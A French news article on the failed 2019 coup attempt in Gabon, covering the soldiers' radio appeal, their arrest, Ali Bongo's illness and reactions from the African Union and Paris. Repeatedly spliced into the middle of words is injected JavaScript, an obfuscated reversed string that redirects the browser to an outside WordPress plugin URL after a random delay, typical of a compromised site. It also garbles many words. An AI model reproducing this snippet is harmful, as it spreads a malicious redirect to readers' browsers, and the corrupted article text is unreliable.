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Coup d’état manqué au Gabon : le film de la journée

Avant d’être arrêté, un groupe de soldats a appelé au soulèvement pour remplacer Ali Bongo.

Une étrange tentative de coup d’État a eu lieu lundi au Gabon qutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and un groupe de militaires de la Garde républicaine a lancé un appel au soulèvement sur les ondes de la radio-télévision nationale. Encadré par deux soldats coiffés de bérets verts et tenant des fusils d’assaut, un officier en tenue de combat, le lieutenant Ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Obiang Kelly, s’est présenté comme le président d’une organisation jusque-là inconnue, le Mouvement patriotique des jeunes des forces de défense et de sécurité du Gabon. D’un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ton pressant, il a invité «toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tous les hommes du rang et les sous-officiers» à se procurer «armes et munitions» et à «prendre le contrôle» des points stratégiques du pays, comme les édifices publics et les aéroports. Il a appelé la population à les soutenir, «pour sauver le Gabon du chaos».

«Si vous êtes en train de manger, arrêtez. Si vous êtes en train de prendre un verre, arrêtez. Si vous toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dormez, réveillez-vous. Réveillez vos voisins […], levez-vous comme un seul homme et prenez le contrôle de la rue», a-t-il déclaré, en annonçant la prochaine formation d’un «conseil national de restauration» afin de «garantir au peuple gabonais une transition démocratique».

L’appel lancé par les putschistes ne semble pas avoir été très suivi. La capitale gabonaise, Libreville, est restée relativement calme, à l’exception du quartier Cocotiers. Dans ce quartier populaire proche de la radio-télévision, des dizaines de jeunes ont incendié une voiture et enflammé des pneus. Les forces de l’ordre ont tiré du gaz lacrymogène pour disperser les manifestants. Des blindés des forces de sécurité ont bloqué l’accès du boulevard Triomphal, l’une des principales artères de la capitale.

Les putschistes arrêtés dans un assaut lancé

Quelques heures plus tard, le ministre de la Communication et porte-parole du gouvernement, Guy-Bertrtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Mapangou, a annoncé que le calme était «revenu» et la situation «sous contrôle». Dans la journée, on a appris que cinq membres du commtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont le lieutenant Kelly, auraient été arrêtés, et deux autres tués, sans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doute dans l’assaut lancé contre la radio-télévision. Les forces de sécurité ont été déployées dans la capitale et elles le resteront pour les prochains jours afin de maintenir l’ordre, a précisé le ministre, qui a ajouté que les frontières du pays restaient ouvertes. Les réseaux Internet ont en revanche été coupés.

Un putsch mal préparé

Ce putsch mal préparé intervient alors que se prolonge la crise politique déclenchée par l’accident vasculaire cérébral du président Ali Bongo, survenu en Arabie saoudite en octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobre 2018. Le 31 décembre dernier, le président gabonais a fait sa première apparition en prononçant ses vœux du Nouvel An depuis Rabat, au Maroc, où il est en convalescence. S’il a mis fin aux rumeurs sur sa mort, il est néanmoins apparu diminué. Le chef de l’État gabonais a reconnu souffrir de problèmes de santé mais a assuré qu’il se remettait. «Le message du chef de la nation visant à clore le débat sur sa santé a plutôt renforcé les toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doutes sur sa capacité à assumer la fonction de président de la République», a dit le chef des putschistes, qui a qualifié ce discours de «honte» pour un «pays qui a perdu sa dignité».

Les militaires putschistes ont aussi dénoncé la «confiscation du pouvoir par ceux qui, le 31 août 2016, ont fait assassiner nos jeunes compatriotes». Cette phrase fait référence aux troubles qui ont suivi la dernière élection présidentielle et la réélection d’Ali Bongo, contestée par l’opposition. Bongo avait alors été réélu avec moins de 6.000 voix d’avance sur l’opposant Jean Ping, ancien président de la Commission de l’Union africaine, à l’issue d’une élection tendue, marquée par des accusations de fraudes et de violentes manifestations.

Paris condamne le putsch

La famille Bongo dirige ce pays pétrolier d’Afrique centrale depuis près d’un demi-siècle. Ali Bongo est arrivé au pouvoir à la mort de son père, Omar, en 2009. Avant d’assumer la présidence du pays, il a été pendant dix ans ministre de la Défense. Depuis son accident vasculaire, il poursuit sa convalescence sans qu’aucune date ait été fixée pour son retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour au Gabon. La vacance du pouvoir n’a pas été déclarée en son absence. La Cour constitutionnelle a transféré une partie de ses pouvoirs au premier ministre et au vice-président, et le gouvernement ne fait qu’assurer les affaires courantes.

L’Union africaine (UA) a «fermement» condamné «la tentative de coup de ce matin au Gabon», réaffirmant «le rejet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}total par l’UA de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout changement inconstitutionnel de pouvoir». Paris a également condamné cette tentative de coup d’État, appelant au «strict respect» de la Constitution dans cette ancienne colonie française. Paris a appelé également les ressortissants français résidant à Libreville à «éviter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout déplacement» dans l’immédiat dans la capitale gabonaise.

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